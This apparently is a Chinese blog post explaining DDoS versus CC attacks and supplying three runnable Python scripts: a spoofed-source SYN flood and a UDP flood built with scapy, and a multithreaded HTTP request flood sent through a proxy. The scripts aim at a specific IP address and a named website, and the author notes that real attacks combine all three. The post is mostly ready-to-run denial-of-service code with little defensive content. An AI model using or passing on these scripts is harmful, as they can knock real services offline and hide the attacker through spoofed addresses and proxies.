作者:hhcgchpspk 发布时间:2026-06-28
网上有很多关于DDOS和CC攻击的讨论,我在这里也不多说,不然越说越乱
简单一句话:DDOS打带宽流量;CC打服务器cpu. 传统DDOS攻击性较大,流量耗费大(自己主机可能会先崩溃),CC攻击流量小,适合长时间持续攻击
我在这里举几个例子(都是教学版,实战的没那么简单)
DDOS(tcp)
import threading from scapy.all import * import random import time desIp='8.220.244.130'#服务器ip targetPort=80 count=0 lock=threading.Lock() lastTime=time.time() def attackThread():#攻击线程 global count,lastTime while True: srcIp=f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"#伪造源ip(伪造ip,服务器永远收不到ACK响应) ip=IP(src=srcIp,dst=desIp)#构造ip头部 tcp=TCP(sport=random.randint(1024,65535),dport=targetPort,flags='S')#(S代表SYN标志位) send(ip/tcp,verbose=False)#发送数据包(verbose表示不打印发送日志) ##攻击 with lock:#with自动加锁 count=count+1 now=time.time()#获取当前时间 if now-lastTime>=1: print('success attack %s'%(count)+'packet/s') count=0 lastTime=now ##打印攻击日志(测试用) if __name__=='__main__': for i in range(1,10): thread=threading.Thread(target=attackThread)#创建线程 thread.daemon=True#守护线程 thread.start() while True:#保持主线程睡眠不退出 time.sleep(0.1)
小提示:Windows现在无法运行TCP原始套接字,上面的代码要放在linux运行
效果:
DDOS(udp)
import threading from scapy.all import * import random import time desIp='8.220.244.130'#服务器ip targetPort=80 count=0 lock=threading.Lock() lastTime=time.time() def attackThread():#攻击线程 global count,lastTime while True: srcIp=f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"#伪造源ip(伪造ip,服务器永远收不到ACK响应) ip=IP(src=srcIp,dst=desIp)#构造ip头部 udp=UDP(sport=random.randint(1024,65535),dport=targetPort)#构造udp包 payload='X'*1400#负载(装满了东西的包裹) send(ip/udp/payload,verbose=False) ##攻击 with lock:#with自动加锁 count=count+1 now=time.time()#获取当前时间 if now-lastTime>=1: print('success attack %s'%(count)+'packet/s') count=0 lastTime=now ##打印攻击日志(测试用) if __name__=='__main__': for i in range(1,10): thread=threading.Thread(target=attackThread)#创建线程 thread.daemon=True#守护线程 thread.start() while True:#保持主线程睡眠不退出 time.sleep(0.1)
效果:
CC
import threading import requests url = 'https://www.gcweb.cc' count=1000 proxies = { "http": "http://127.0.0.1:7890", "https": "http://127.0.0.1:7890", } def request(): try: resp = requests.get(url,proxies=proxies)#发送请求 print("success request%s"%(resp.status_code)) except requests.exceptions.RequestException as e: print(r"error%s"%(e)) def main(): threads = []#设置线程列表 for i in range(count): thread = threading.Thread(target=request)#创建请求线程 thread.start()#启用线程 threads.append(thread) for thread in threads: thread.join()#等待线程结束 if __name__ == "__main__": main()
效果:(虽然没DDOS强,但设置了代理,持久性好)
实战的时候是三种攻击方式结合使用,我这里就不多说了,不然我靶站不保了😰